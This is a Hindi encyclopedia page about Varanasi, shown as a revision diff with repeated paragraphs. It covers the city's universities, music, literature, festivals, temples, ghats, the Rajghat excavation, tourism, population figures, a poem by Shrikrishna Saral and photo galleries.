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काशी हिन्दू विश्वविद्यालय या बनारस हिन्दू विश्वविद्यालय वाराणसी में स्थित एक केन्द्रीय विश्वविद्यालय है। इस विश्वविद्यालय की स्थापना <ref>बनारस हिन्दू विश्वविद्यालय एक्ट, एक्ट क्रमांक 16, सन् 1915</ref> के अंतर्गत हुई थी। [[मदनमोहन मालवीय|पण्डित मदनमोहन मालवीय]] ने काशी हिन्दू विश्वविद्यालय की स्थापना का प्रारम्भ [[1904]] ई. में किया, जब काशी नरेश 'महाराज प्रभुनारायण सिंह' की अध्यक्षता में संस्थापकों की प्रथम बैठक हुई। [[1905]] ई. में विश्वविद्यालय का प्रथम पाठ्यक्रम प्रकाशित हुआ।
[[चित्र:Sampurnanand-Sanskrit-University.jpg|thumb|left|220px|[[सम्पूर्णानन्द संस्कृत विश्वविद्यालय]]]]
 
====सम्पूर्णानन्द संस्कृत विश्वविद्यालय====
 
{{Main|सम्पूर्णानन्द संस्कृत विश्वविद्यालय}}
 
सम्पूर्णानन्द संस्कृत विश्वविद्यालय की स्थापना 1791 ई. में [[भारत]] के गवर्नर जनरल लॉर्ड कॉर्नवालिस ने की थी। वाराणसी का यह प्रथम महाविद्यालय था। जे म्योर, आई.सी.एस इस महाविद्यालय के प्रथम प्रधानाचार्य, संस्कृत प्राध्यापक थे।
 
====महात्मा गाँधी काशी विद्यापीठ====
 
[[चित्र:Mahatma-Gandhi-Kashi-Vidyapeeth.JPG|thumb|250px|[[महात्मा गाँधी काशी विद्यापीठ]]]]
 
{{Main|महात्मा गाँधी काशी विद्यापीठ}}
 
वाराणसी का यह एक मानित राजपत्रित विश्वविद्यालय है। इस विद्यापीठ का नाम [[भारत]] के राष्ट्रपिता [[महात्मा गाँधी]] के नाम पर है। इस विद्यापीठ में गाँधी जी के सिद्धांतों का पालन किया जाता है।
 
====केन्द्रीय उच्च तिब्बती शिक्षा संस्थान====
 
यह इंस्टीट्यूट [[सारनाथ]] में स्थित है। यहाँ पर परंपरागत तिब्बती पठन-पाठन को आधुनिक शिक्षा के साथ वरीयता दी जाती है। 'उदय प्रताप महाविद्यालय' एक स्वायत्त महाविद्यालय है जहाँ आधुनिक बनारस के उपनगरीय छात्रों हेतु क्रीड़ा एवं विज्ञान का केन्द्र है। वाराणसी में बहुत से निजी एवं सार्वजनिक संस्थान है, जहाँ हिन्दू धार्मिक शिक्षा की व्यवस्था है। इन विश्वविद्यालयों के अलावा शहर में कई स्नातकोत्तर एवं स्नातक महाविद्यालय भी हैं, जैसे - अग्रसेन डिग्री कॉलेज, हरिशचंद्र डिग्री कॉलेज, आर्य महिला डिग्री कॉलेज एवं स्कूल ऑफ़ मैनेजमेंट।
 
  
==कला==
 
====संगीत====
 
{{Main|वाराणसी का संगीत}}
 
*वाराणसी गायन एवं वाद्य दोनों ही विद्याओं का केंद्र रहा है।
 
*सुमधुर ठुमरी भारतीय कंठ संगीत को वाराणसी की विशेष देन है।
 
[[चित्र:Art-Varanasi.jpg|thumb|200px|वाद्य बजाते हुए कलाकार, वाराणसी]]
 
*इसमें धीरेंद्र बाबू, बड़ी मोती, छोती मोती, सिध्देश्वर देवी, रसूलन बाई, काशी बाई, अनवरी बेगम, शांता देवी तथा इस समय गिरिजा देवी आदि का नाम समस्त [[भारत]] में बड़े गौरव एवं सम्मान के साथ लिया जाता है। [[चित्र:Ustad-Bismillah-khan.jpg|thumb|left|[[उस्ताद बिस्मिल्ला ख़ां]]]]
 
 
====साहित्य====
 
====साहित्य====
वाराणसी संस्कृत साहित्य का केंद्र तो रही ही है, लेकिन इसके साथ ही इस नगर ने हिन्दी तथा [[उर्दू भाषा|उर्दू]] में अनेक साहित्यकारों को भी जन्म दिया है, जिन्होंने साहित्य सेवा की तथा देश में गौरव पूर्ण स्थान प्राप्त किया। इनमें [[भारतेंदु हरिश्चंद्र]], [[अयोध्यासिंह उपाध्याय|अयोध्यासिंह उपाध्याय 'हरिऔध']], [[जयशंकर प्रसाद]], [[प्रेमचंद]], [[श्यामसुन्दर दास]], [[राय कृष्णदास]], [[आचार्य रामचन्द्र शुक्ल]], रामचंद्र वर्मा, बेचन शर्मा "उग्र", विनोदशंकर व्यास, कृष्णदेव प्रसाद गौड़ तथा डॉ. संपूर्णानंद उल्लेखनीय हैं। [[चित्र:Premchand.jpg|thumb|[[प्रेमचंद|मुंशी प्रेमचंद]]|160px]] इनके अतिरिक्त [[उर्दू]] साहित्य में भी यहाँ अनेक जाने- माने लेखक एवं शायर हुए हैं। जिनमें मुख्यतः श्री विश्वनाथ प्रसाद शाद, मौलवी महेश प्रसाद, महाराज [[चेतसिंह]], शेखअली हाजी, आगा हश्र कश्मीरी, हुकुम चंद्र नैयर, प्रो. हफीज बनारसी, श्री हक़ बनारसी तथा नज़ीर बनारसी का नाम आता है।
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वाराणसी संस्कृत साहित्य का केंद्र तो रही ही है, लेकिन इसके साथ ही इस नगर ने हिन्दी तथा [[उर्दू भाषा|उर्दू]] में अनेक साहित्यकारों को भी जन्म दिया है, जिन्होंने साहित्य सेवा की तथा देश में गौरव पूर्ण स्थान प्राप्त किया। इनमें [[भारतेंदु हरिश्चंद्र]], [[अयोध्यासिंह उपाध्याय|अयोध्यासिंह उपाध्याय 'हरिऔध']], [[जयशंकर प्रसाद]], [[प्रेमचंद]], [[श्यामसुन्दर दास]], [[राय कृष्णदास]], [[आचार्य रामचन्द्र शुक्ल]], [[रामचंद्र वर्मा]], [[पाण्डेय बेचन शर्मा 'उग्र']], [[विनोदशंकर व्यास]], कृष्णदेव प्रसाद गौड़ तथा [[डॉ. सम्पूर्णानंद]] उल्लेखनीय हैं। इनके अतिरिक्त [[उर्दू]] साहित्य में भी यहाँ अनेक जाने- माने लेखक एवं शायर हुए हैं। जिनमें मुख्यतः श्री विश्वनाथ प्रसाद शाद, मौलवी महेश प्रसाद, महाराज [[चेतसिंह]], शेखअली हाजी, [[आग़ा हश्र कश्मीरी]], हुकुम चंद्र नैयर, प्रो. हफीज बनारसी, श्री हक़ बनारसी तथा नज़ीर बनारसी का नाम आता है।
 
====उत्सवप्रियता====
 
====उत्सवप्रियता====
वाराणसी के निवासियों की उत्सवप्रियता का उल्लेख जातकों में सविस्तार मिलता है। '''महाजनपद युग में [[दीपावली]] का उल्लेख मुख्य त्योहारों में हुआ है।''' एक जातक में उल्लेखित है कि काशी की दीपमालिका [[कार्तिक मास]] में मनायी जाती थी। इस अवसर पर स्थियाँ केशरिया रंग के वस्त्र पहनकर निकलती थीं।<ref>जातक, भाग 2, पृष्ठ 145 (संख्या 147) मोतीचंद्र, काशी का इतिहास, पृष्ठ 45</ref>
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वाराणसी के निवासियों की उत्सवप्रियता का उल्लेख जातकों में सविस्तार मिलता है। '''महाजनपद युग में [[दीपावली]] का उल्लेख मुख्य त्योहारों में हुआ है।''' एक जातक में उल्लेखित है कि काशी की दीपमालिका [[कार्तिक मास]] में मनायी जाती थी। इस अवसर पर स्त्रियाँ केसरिया [[रंग]] के वस्त्र पहनकर निकलती थीं।<ref>जातक, भाग 2, पृष्ठ 145 (संख्या 147) मोतीचंद्र, काशी का इतिहास, पृष्ठ 45</ref>
 
====हस्तिमंगलोत्सव====
 
====हस्तिमंगलोत्सव====
 
'''हस्तिमंगलोत्सव भी वाराणसी का एक प्रमुख उत्सव था''',<ref>जातक, भाग 2, संख्या 163, पृष्ठ 215</ref> जिसका उल्लेख जातकों एवं बौद्ध साहित्य में मिलता है। इसके अतिरिक्त '''मंदिरोत्सव भी मनाया जाता था, जिसमें सुरापान किया जाता था।'''<ref>जातक, भाग 2, संख्या 163, पृष्ठ 132</ref> एक जातक में उल्लेख आया है कि '''काशीराज ने एक बार इस अवसर पर तपस्वियों को खूब सुरापान कराया था।'''<ref>139- जातक, भाग 1, पृष्ठ 208</ref>
 
'''हस्तिमंगलोत्सव भी वाराणसी का एक प्रमुख उत्सव था''',<ref>जातक, भाग 2, संख्या 163, पृष्ठ 215</ref> जिसका उल्लेख जातकों एवं बौद्ध साहित्य में मिलता है। इसके अतिरिक्त '''मंदिरोत्सव भी मनाया जाता था, जिसमें सुरापान किया जाता था।'''<ref>जातक, भाग 2, संख्या 163, पृष्ठ 132</ref> एक जातक में उल्लेख आया है कि '''काशीराज ने एक बार इस अवसर पर तपस्वियों को खूब सुरापान कराया था।'''<ref>139- जातक, भाग 1, पृष्ठ 208</ref>
  
 
==वाराणसी के मन्दिर==
 
==वाराणसी के मन्दिर==
वाराणसी में कई प्रमुख मंदिर स्थित हैं। वाराणसी कई प्रमुख मंदिरों का नगर है। वाराणसी में लगभग हर एक चौराहे पर एक मंदिर स्थित है। दैनिक स्थानीय अर्चना के लिये ऐसे छोटे मंदिर सहायक होते हैं। इन छोटे मंदिरों के साथ ही वाराणसी में ढेरों बड़े मंदिर भी हैं, जो समय-समय पर वाराणसी के इतिहास में बनवाये गये थे। [[चित्र:Kashi-Vishwanath.jpg|thumb|left|[[विश्वनाथ ज्योतिर्लिंग|विश्वनाथ मन्दिर]], वाराणसी]] वाराणसी में स्थित इन मंदिरों में काशी विश्वनाथ मंदिर, अन्नपूर्णा मंदिर, ढुंढिराज गणेश, काल भैरव, दुर्गा जी का मंदिर, संकटमोचन, तुलसी मानस मंदिर, नया विश्वनाथ मंदिर, भारतमाता मंदिर, संकठा देवी मंदिर व विशालाक्षी मंदिर प्रमुख हैं।
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वाराणसी में कई प्रमुख मंदिर स्थित हैं। वाराणसी कई प्रमुख मंदिरों का नगर है। वाराणसी में लगभग हर एक चौराहे पर एक मंदिर स्थित है। दैनिक स्थानीय अर्चना के लिये ऐसे छोटे मंदिर सहायक होते हैं। इन छोटे मंदिरों के साथ ही वाराणसी में ढेरों बड़े मंदिर भी हैं, जो समय-समय पर वाराणसी के इतिहास में बनवाये गये थे। वाराणसी में स्थित इन मंदिरों में काशी विश्वनाथ मंदिर, अन्नपूर्णा मंदिर, ढुंढिराज गणेश, काल भैरव, दुर्गा जी का मंदिर, संकटमोचन, तुलसी मानस मंदिर, नया विश्वनाथ मंदिर, भारतमाता मंदिर, संकठा देवी मंदिर व विशालाक्षी मंदिर प्रमुख हैं।
 
====काशी विश्‍वनाथ मंदिर====  
 
====काशी विश्‍वनाथ मंदिर====  
 
{{मुख्य|विश्वनाथ ज्योतिर्लिंग}}
 
{{मुख्य|विश्वनाथ ज्योतिर्लिंग}}
 
मूल काशी विश्‍वनाथ मंदिर बहुत छोटा था। 18वीं शताब्‍दी में इंदौर की [[अहिल्याबाई होल्कर|रानी अहिल्‍याबाई होल्‍कर]] ने इसे भव्‍य रूप प्रदान किया। [[पंजाब]] के शासक [[रणजीत सिंह|राजा रंजीत सिंह]] ने 1835 ई. में इस मंदिर के शिखर को सोने से मढ़वाया था। इस कारण इस मंदिर का एक अन्‍य नाम गोल्‍डेन टेम्‍पल भी पड़ा।
 
मूल काशी विश्‍वनाथ मंदिर बहुत छोटा था। 18वीं शताब्‍दी में इंदौर की [[अहिल्याबाई होल्कर|रानी अहिल्‍याबाई होल्‍कर]] ने इसे भव्‍य रूप प्रदान किया। [[पंजाब]] के शासक [[रणजीत सिंह|राजा रंजीत सिंह]] ने 1835 ई. में इस मंदिर के शिखर को सोने से मढ़वाया था। इस कारण इस मंदिर का एक अन्‍य नाम गोल्‍डेन टेम्‍पल भी पड़ा।
 
'''यह मंदिर कई बार ध्‍वस्‍त किया गया।''' वर्तमान में जो मंदिर है उसका निर्माण चौथी बार में हुआ है। [[क़ुतुबुद्दीन ऐबक]] ने सर्वप्रथम इसे 1194 ई. में ध्‍वस्‍त किया था। [[रज़िया सुल्तान]] (1236-1240) ने इसके ध्‍वंसावशेष पर रज़िया मस्जिद का निर्माण करवाया था। इसके बाद इस मंदिर का निर्माण अभिमुक्‍तेश्‍वर मंदिर के नज़दीक बनवाया गया। बाद में इस मंदिर को जौनपुर के शर्की राजाओं ने तुड़वा दिया। 1490 ई. में इस मंदिर को [[सिकन्दर लोदी]] ने ध्‍वंस करवाया था। 1585 ई. में बनारस के एक प्रसिद्ध व्‍यापारी टोडरमल ने इस मंदिर का निर्माण करवाया। 1669 ई. में इस मंदिर को [[औरंगज़ेब]] ने पुन: तुड़वा दिया। औरंगज़ेब ने भी इस मंदिर के ध्‍वंसावशेष पर एक मस्जिद का निर्माण करवाया था।
 
'''यह मंदिर कई बार ध्‍वस्‍त किया गया।''' वर्तमान में जो मंदिर है उसका निर्माण चौथी बार में हुआ है। [[क़ुतुबुद्दीन ऐबक]] ने सर्वप्रथम इसे 1194 ई. में ध्‍वस्‍त किया था। [[रज़िया सुल्तान]] (1236-1240) ने इसके ध्‍वंसावशेष पर रज़िया मस्जिद का निर्माण करवाया था। इसके बाद इस मंदिर का निर्माण अभिमुक्‍तेश्‍वर मंदिर के नज़दीक बनवाया गया। बाद में इस मंदिर को जौनपुर के शर्की राजाओं ने तुड़वा दिया। 1490 ई. में इस मंदिर को [[सिकन्दर लोदी]] ने ध्‍वंस करवाया था। 1585 ई. में बनारस के एक प्रसिद्ध व्‍यापारी टोडरमल ने इस मंदिर का निर्माण करवाया। 1669 ई. में इस मंदिर को [[औरंगज़ेब]] ने पुन: तुड़वा दिया। औरंगज़ेब ने भी इस मंदिर के ध्‍वंसावशेष पर एक मस्जिद का निर्माण करवाया था।
 
 
==वाराणसी के घाट==
 
==वाराणसी के घाट==
 
{{मुख्य|वाराणसी के घाट}}
 
{{मुख्य|वाराणसी के घाट}}
वाराणसी (काशी) में गंगा तट पर अनेक सुंदर घाट बने हैं, ये सभी घाट किसी न किसी पौराणिक या धार्मिक कथा से संबंधित हैं। वाराणसी के घाट गंगा नदी के धनुष की आकृति होने के कारण मनोहारी लगते हैं। सभी घाटों के पूर्वार्भिमुख होने से सूर्योदय के समय घाटों पर पहली किरण दस्तक देती है। उत्तर दिशा में राजघाट से प्रारम्भ होकर दक्षिण में अस्सी घाट तक सौ से अधिक घाट हैं। वाराणसी में अस्‍सीघाट से लेकर वरुणा घाट तक सभी की क्रमवार सूची निम्न है:-
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वाराणसी ([[काशी]]) में [[गंगा]] तट पर अनेक सुंदर घाट बने हैं, ये सभी घाट किसी न किसी पौराणिक या धार्मिक कथा से संबंधित हैं। वाराणसी के घाट गंगा नदी के धनुष की आकृति होने के कारण मनोहारी लगते हैं। सभी घाटों के पूर्वार्भिमुख होने से सूर्योदय के समय घाटों पर पहली किरण दस्तक देती है। उत्तर दिशा में राजघाट से प्रारम्भ होकर दक्षिण में अस्सी घाट तक सौ से अधिक घाट हैं।  
{{वाराणसी के घाट}}
 
====राजघाट उत्खनन====
 
{{मुख्य|राजघाट उत्खनन वाराणसी}}
 
राजघाट की प्राचीनता और उसका सतत इतिहास किसी पुरातात्विक उत्खनन से 1940 ई.  तक निश्चित नहीं था। इसकी प्राचीन स्थिति वर्तमान काशी स्टेशन के उत्तर-पूर्वी में गंगा और वरुणा के मध्य थी, जिसे 'राजघाट टीले' के नाम से जाना जाता है। इसकी आकस्मिक खोज [[1939]] ई. में वर्तमान काशी स्टेशन के विस्तार के समय रेलवे ठेकेदारों द्वारा खुदाई कराते समय हुई।<ref>विद्या प्रकाश एवं टी.एन. राय, बुलेटिन ऑफ़ द यू.पी. हिस्टारिकल सोसाइटी, संख्या 4 (साइट्स एंड मानुमेंट्स ऑफ़ यू.पी.) लखनऊ, 1965 पृष्ठ 33</ref> खुदाई में इन ठेकेदारों को बहुत-सी प्राचीन वस्तुएँ मिलीं जिनमें मिट्टी की मुहरें एवं मुद्रायें भी थीं। इन वस्तुओं को अब 'भारत कला भवन' और 'इलाहाबाद म्यूनिसिपल म्यूज़ियम' में रखा गया है। इन मुद्राओं में मुख्यत: [[यूनानी]] देवी-देवताओं की आकृतियाँ तथा कुछ यूनानी राजाओं के सिर का अंकन है। यहाँ से मिली वस्तुओं से आकृष्ट होकर श्री कृष्णदेव के नेतृत्व में भारतीय पुरातत्त्व विभाग के एक दल ने यहाँ उत्खनन प्रारंभ किया। इस दल ने ऊपरी जमाव से 20 फुट नीचे तक खुदाई की।
 
 
 
{{वाराणसी चित्र सूची3}}
 
 
==पर्यटन==
 
==पर्यटन==
 
{{main|वाराणसी पर्यटन}}
 
{{main|वाराणसी पर्यटन}}
वाराणसी, पर्यटकों के लिए आकर्षण का केंद्र है। यहाँ अनेक धार्मिक, ऐतिहासिक एवं सुंदर दर्शनीय स्थल हैं, जिन्हें देखने के लिए देश के ही नहीं, संसार भर से पर्यटक आते हैं और इस नगरी तथा यहाँ की [[संस्कृति]] की भूरि-भूरि प्रशंसा करते हैं। कला, संस्कृति, साहित्य और राजनीति के विविध क्षेत्रों में अपनी अलग पहचान बनाये रखने के कारण वाराणसी अन्य नगरों की अपेक्षा अपना विशिष्ट स्थान रखती है । देश की राष्ट्रभाषा [[हिन्दी]] की जननी [[संस्कृत]] की उद्भव स्थली काशी सांस्कृतिक एकता का प्रतीक है।
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वाराणसी, पर्यटकों के लिए आकर्षण का केंद्र है। यहाँ अनेक धार्मिक, ऐतिहासिक एवं सुंदर दर्शनीय स्थल हैं, जिन्हें देखने के लिए देश के ही नहीं, संसार भर से पर्यटक आते हैं और इस नगरी तथा यहाँ की [[संस्कृति]] की भूरि-भूरि प्रशंसा करते हैं। [[कला]], [[संस्कृति]],[[साहित्य]] और राजनीति के विविध क्षेत्रों में अपनी अलग पहचान बनाये रखने के कारण वाराणसी अन्य नगरों की अपेक्षा अपना विशिष्ट स्थान रखती है। देश की राष्ट्रभाषा [[हिन्दी]] की जननी [[संस्कृत]] की उद्भव स्थली काशी सांस्कृतिक एकता का प्रतीक है।
==विभूतियाँ==
 
वाराणसी में प्राचीन काल से समय-समय पर अनेक महान विभूतियों का प्रादुर्भाव या वास होता रहा हैं। इनमें से कुछ इस प्रकार हैं-
 
{{वाराणसी चित्र सूची4}}
 
{{वाराणसी विभूतियाँ}}
 
 
==जनसंख्या==
 
==जनसंख्या==
 
[[2001]] की जनगणना के अनुसार नगर निगम क्षेत्र की जनसंख्या 11,22,748 है, छावनी क्षेत्र की जनसंख्या 17,246 और ज़िले की जनसंख्या 31,3867 है।<ref>{{cite web |url=http://varanasi.nic.in/glance/dglance.html |title=वाराणसी |accessmonthday=23 फ़रवरी |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वाराणसी की आधिकारिक वेबसाइट |language=[[अंग्रेज़ी भाषा|अंग्रेज़ी]]}}</ref>
 
[[2001]] की जनगणना के अनुसार नगर निगम क्षेत्र की जनसंख्या 11,22,748 है, छावनी क्षेत्र की जनसंख्या 17,246 और ज़िले की जनसंख्या 31,3867 है।<ref>{{cite web |url=http://varanasi.nic.in/glance/dglance.html |title=वाराणसी |accessmonthday=23 फ़रवरी |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वाराणसी की आधिकारिक वेबसाइट |language=[[अंग्रेज़ी भाषा|अंग्रेज़ी]]}}</ref>
  
==वाराणसी पर कविता==
+
{{लेख प्रगति |आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
हिन्दी के प्रसिद्ध कवि श्रीकृष्ण सरल की [[चन्द्रशेखर आज़ाद]] पर लिखी गई अनुपम कविता हैं -
+
==वीथिका==
{| class="bharattable-pink"
+
<gallery>
|+ '''वाराणसी लहरें'''
+
चित्र:Manmandir-Ghat-Varanasi.jpg|मानमंदिर घाट, वाराणसी
|-
+
चित्र:Ghats-in-the-morning-Varanasi.jpg|प्रात:काल के समय घाट का दृश्य
|
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चित्र:Digpatya-Ghat -Varanasi.jpg|दिगपत्यका घाट
<div style="height: 400px; overflow:auto; overflow-x: hidden; border:thin solid #aaa; width:300px">
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चित्र:Kedar-Ghat-Varanasi-1.jpg|[[केदार घाट वाराणसी|केदार घाट]]
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चित्र:Ceremony-by-Ganga-River.jpg|गंगा उत्सव, वाराणसी
|-valign="top"
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चित्र:Fruit-Bazaar-Vanarasi.jpg|फलों का बाज़ार, वाराणसी
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<poem>
 
उच्छल गंगा का हिल्लोलित अन्तर है,
 
भावना प्रगति की मानों हुई प्रखर है।
 
लहरें हैं, जो स्र्कने का नाम न लेती,
 
तटकी बांहों में वे विश्राम न लेती।
 
 
 
बढ़ते जाने की उनमें होड़ लगी है,
 
मंत्रों में जैसे अद्भुत शक्ति जगी है।
 
हर लहर, लहर को आगे ठेल रही है,
 
हर लहर, लहर की गति को झेल रही है।
 
 
 
बढ़ना, बढ़ते जाना सक्रिय जीवन है,
 
तट से बँध कर रह जाना घुटन-सड़न है।
 
जो कूद पड़ा लहरों में, पार हुआ है,
 
जो जूझ पड़ा, सपना साकार हुआ है।
 
 
 
जो लीक पुरातनता की छोड़ न पाया,
 
जिसका बल युग-धारा को मोड़ न पाया।
 
वह मानव क्या, जो बन्धन तोड़ न पाया,
 
जो अन्यायों के घट को फोड़ न पाया।
 
 
 
ये लहरें हैं, आता है इन्हें लहरना
 
बढ़ने की धुन में भाता नहीं ठहरना।
 
तुन कौन? यहाँ जो गुमसुम बैठे तट पर,
 
निश्चल निष्क्रिय, जीवन के इस पनघट पर।
 
 
 
देखो जलधारा पर तिरती नौकाएँ,
 
जीवन-धारा पर तिरती अभिलाषाएँ।
 
उथलें में कुछ गहरे में नहा रहे हैं,
 
अपने कल्मष गंगा में बहा रहे हैं।
 
 
 
कछुए कुलबुल कर रहे कामनाओं से,
 
सुछ डुबे हैं अवदमित वासनाओं से।
 
कुछ दानी उनको दाने चुगा रहे हैं,
 
पाथेय पुण्य के अंकुर उगा रहे हैं।
 
 
 
घाटों पर जाग्रत जीवन मचल रहा है,
 
खामोशी को कोलाहल निगल रहा है।
 
नर-नारी बालक-वृद्ध युवा आए हैं,
 
वे अपनी वय की साध साथ लाए हैं।
 
 
 
बच्चें, बचपन के खेलों पर ललचायें,
 
बच्चों के बाबा, पुण्य कमाने आए।
 
क्या बात कहें उनकी जिनमें यौवन है,
 
छायावादी कविता-सी हर धड़कन है।
 
 
 
यौवन की साँसों में हैं सुमन महकते,
 
यौवन सागर है, शांत नहीं यह तट है।
 
यौवन, अभिलाषाओं का वंशीवट है,
 
यौवन रंगीन उमंगों का पनघट है।
 
 
 
यौवन आता तो जीवन ही जीवन है,
 
यौवन आता, बेबस हो जाता मन है।
 
यौवन के क्षण सपनों के हाथों बिकते,
 
यौवन के पाँव नहीं धरती पर टिकते।
 
 
 
तुम कौन, घाट से टिके हुए बैठे हो?
 
तुन किसके हाथों बिके हुए बैठे हो?
 
बिक चुका यहाँ नृप हरिशचन्द्र-सा दानी,
 
रोहित-सा बेटा, तारा जैसी रानी।
 
 
 
तो सुनो, छलकते जीवन की मैं गगरी,
 
देखो, मैं बाबा विश्वनाथ की नगरी।
 
जो बड़भागी, वे लोग यहाँ रहते हैं,
 
परिचय दूँ? वाराणसी मुझे कहते हैं।
 
 
 
शिव के त्रिशूल पर बैठी मैं इठलाती,
 
मैं दैहिक, दैविक, भौतिक शूल मिटाती।
 
जीने वालों को दिव्य ज्ञान देती हूँ,
 
मरने वालों को मोक्ष-दान देती हूँ।
 
 
 
शंकर बाबा की कैसे कहूँ `कहानी',
 
उन जैसा कोई मिला न अवढर दानी।
 
तप की विभूति तन पर शोभित होती है,
 
यश-गंगा उनके जटा-जूट धोती है।
 
 
 
है तेज-पुंज-सा उन्नत भाल दमकता,
 
कहने वाले कहते हैं, चन्द्र चमकता।
 
वे युग का विष पीने वाले विषपायी,
 
अपने भक्तों को वे सदैव वरदायी।
 
 
 
विषयों के विषधर उन्हें नहीं डसते हैं,
 
जन-मंगल ही उनके मन में बसते हैं।
 
वे सुनते अनहद-वाद विश्व-भय-हारी,
 
इसलिए लोग कहते, नादिया सवारी।
 
 
 
वे वर्तमान के मान, भूत हैं वश में,
 
अभिप्रेत भविष्यत हैं मन के तर्कंश में।
 
जग के विचित्र गुण-गण उनके अनुचर हैं,
 
वे पर्वतीय-सुषमा-पति शिव-शंकर हैं।
 
 
 
क्या मृग-मरीचिका कोई उसे लुभाए,
 
जो मृग-छाला को आसन स्वयं बनाए।
 
वे धूरजटी, धुन की धूनी रमते हैं,
 
व्यवधान विफल होते जब वे जमते हैं।
 
 
 
मैंने तुमको शिव का माहात्म्य बताया,
 
मैंने गंगा की लहरों का गुण गाया।
 
तुम उठो पथिक, झटको यह आत्म-उदासी,
 
जग से जूझो, तुम बनो नहीं सन्यासी।
 
 
 
गंगा की लहरों से शीतलता पाओ,
 
मन्दिर में बाबा के दर्शन कर आओ।
 
तुमको रहस्य कुछ और बताऊँगी मैं,
 
अपने बेटे का गौरव गाऊँगी मैं।<ref>{{cite web |url=http://www.kavitakosh.org/kk/index.php?title=%E0%A4%9A%E0%A4%A8%E0%A5%8D%E0%A4%A6%E0%A5%8D%E0%A4%B0_%E0%A4%B6%E0%A5%87%E0%A4%96%E0%A4%B0_%E0%A4%86%E0%A4%9C%E0%A4%BE%E0%A4%A6_/_%E0%A4%B6%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%95%E0%A5%83%E0%A4%B7%E0%A5%8D%E0%A4%A3_%E0%A4%B8%E0%A4%B0%E0%A4%B2_/_%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%A3%E0%A4%B8%E0%A5%80_%E0%A4%B2%E0%A4%B9%E0%A4%B0%E0%A5%87%E0%A4%82_/_%E0%A4%AA%E0%A5%83%E0%A4%B7%E0%A5%8D%E0%A4%A0_%E0%A5%A7 |title=चन्द्रशेखर आज़ाद|accessmonthday=30 मार्च|accessyear=2011|last= |first= |authorlink= |format= |publisher=कविता कोश|language=हिन्दी}}</ref>
 
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==चित्र वीथिका==
 
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चित्र:View-Of-Benaras.jpg|बनारस का दृश्य
 
चित्र:Sadhu-Varanasi.jpg|साधु, वाराणसी
 
चित्र:Manikarnika-Ghat-Varanasi.jpg|मणिकर्णिका घाट, वाराणसी
 
चित्र:Ganga-River-Varanasi-3.jpg|[[गंगा नदी]], वाराणसी
 
चित्र:Ganga-River-Varanasi-1.jpg|[[गंगा नदी]], वाराणसी
 
चित्र:Prayag-Ghat-Varanasi-1.jpg|प्रयाग घाट, वाराणसी
 
चित्र:Ganga-River-Varanasi-4.jpg|[[गंगा नदी]], वाराणसी
 
चित्र:Varanasi-Ghat.jpg|[[वाराणसी के घाट|वाराणसी]] घाट पर आनंद उठाते बच्चे
 
चित्र:Varanasi.jpg|नाव की सवारी  करते पर्यटक, वाराणसी
 
चित्र:Varanasi-1.jpg|[[बंदर]], वाराणसी
 
चित्र:Varanasi-2.jpg|बनारसी साड़ी में विदेशी महिला, वाराणसी
 
चित्र:Varanasi-3.jpg|एक महिला श्रमिक, वाराणसी
 
चित्र:Varanasi-4.jpg|[[दूध]] उबालता एक व्यक्ति, वाराणसी
 
चित्र:Varanasi-Schoolbus.jpg|बच्चे, वाराणसी
 
चित्र:Varanasi-5.jpg|पंडित जी, वाराणसी
 
चित्र:Buffalo-Ganga-River-Varanasi.jpg|गंगा नदी मे भैंसें
 
चित्र:Bath-In-The-Ganga-1.jpg|वाराणसी के  घाट पर बच्चे को स्नान कराती महिला
 
चित्र:Bath-In-The-Ganga-2.jpg|वाराणसी के  घाट पर स्नान करते बच्चे
 
 
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{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
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<references/>
 
==बाहरी कड़ियाँ==
 
{{वाराणसी बाहरी कड़ियाँ}}
 
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==संबंधित लेख==
 
==संबंधित लेख==
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08:34, 18 अगस्त 2018 के समय का अवतरण

वाराणसी विषय सूची
वाराणसी
वाराणसी का दृश्य
विवरण वाराणसी, बनारस या काशी भी कहलाता है। वाराणसी दक्षिण-पूर्वी उत्तर प्रदेश राज्य, उत्तरी-मध्य भारत में गंगा नदी के बाएँ तट पर स्थित है और हिन्दुओं के सात पवित्र नगरों में से एक है।
राज्य उत्तर प्रदेश
ज़िला वाराणसी ज़िला
भौगोलिक स्थिति उत्तर- 25.282°, पूर्व- 82.9563°
मार्ग स्थिति वाराणसी, इलाहाबाद से 125 किलोमीटर पश्चिम, लखनऊ से 281 किलोमीटर दक्षिण-पूर्व तथा दिल्ली से लगभग 780 किलोमीटर दक्षिण-पूर्व में है।
कब जाएँ अक्टूबर से मार्च
कैसे पहुँचें हवाई जहाज़, रेल, बस, टैक्सी
हवाई अड्डा लाल बहादुर शास्त्री हवाई अड्डा
रेलवे स्टेशन वाराणसी जंक्शन, मुग़लसराय जंक्शन
बस अड्डा अंतर्राज्यीय बस अड्डा आनन्‍द विहार
यातायात ऑटो रिक्शा, रिक्शा, बस, मिनी बस, नाव, स्टीमर
क्या देखें विश्वनाथ मंदिर, काशी हिन्दू विश्वविद्यालय, वाराणसी की नदियाँ, वाराणसी के घाट
कहाँ ठहरें होटल, धर्मशाला, अतिथि-ग्रह
क्या खायें पान, कचौड़ी-सब्ज़ी, चाट, ठंडाई
क्या ख़रीदें बनारसी साड़ी
एस.टी.डी. कोड 0542
ए.टी.एम लगभग सभी
Map-icon.gif गूगल मानचित्र, वाराणसी हवाई अड्डा
संबंधित लेख गंगा नदी, सम्पूर्णानन्द संस्कृत विश्वविद्यालय, महात्मा गाँधी काशी विद्यापीठ


बाहरी कड़ियाँ आधिकारिक वेबसाइट
अद्यतन‎

